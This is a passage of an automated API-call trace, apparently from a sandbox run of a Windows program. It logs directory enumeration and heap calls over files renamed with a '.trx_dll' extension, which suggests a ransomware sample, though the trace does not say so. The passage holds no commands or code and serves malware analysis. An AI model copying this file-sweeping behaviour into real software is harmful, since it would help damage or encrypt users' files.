dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.508] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6cd8 [0091.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.510] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xbf60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6cf8 [0091.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354790 [0091.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.512] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6d18 [0091.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354898 [0091.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.514] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x49f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6d38 [0091.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356470 [0091.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.516] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6d58 [0091.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356680 [0091.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.518] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x17960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6d78 [0091.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356578 [0091.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.520] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2ced60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6d98 [0091.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356890 [0091.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.522] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa381000, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaa381000, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6db8 [0091.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356998 [0091.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.524] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6dd8 [0091.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356aa0 [0091.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.526] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3fb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6df8 [0091.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356ba8 [0091.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.528] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x37560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6e18 [0091.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356cb0 [0091.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.530] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0xa6560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6e38 [0091.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356db8 [0091.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.532] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6e58 [0091.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356ec0 [0091.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.534] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6e78 [0091.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356fc8 [0091.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.536] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0x45f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6e98 [0091.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13570d0 [0091.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.538] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3b09500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa3b09500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6eb8 [0091.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13571d8 [0091.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9a40) returned 0x132a698 [0091.540] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x8e160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6ed8 [0091.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13572e0 [0091.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.542] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749d2200, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x749d2200, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x5ab60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6ef8 [0091.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13573e8 [0091.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.544] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d7a1200, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6d7a1200, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6f18 [0091.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13574f0 [0091.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.546] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8e7d800, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8e7d800, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4160, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.546] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: 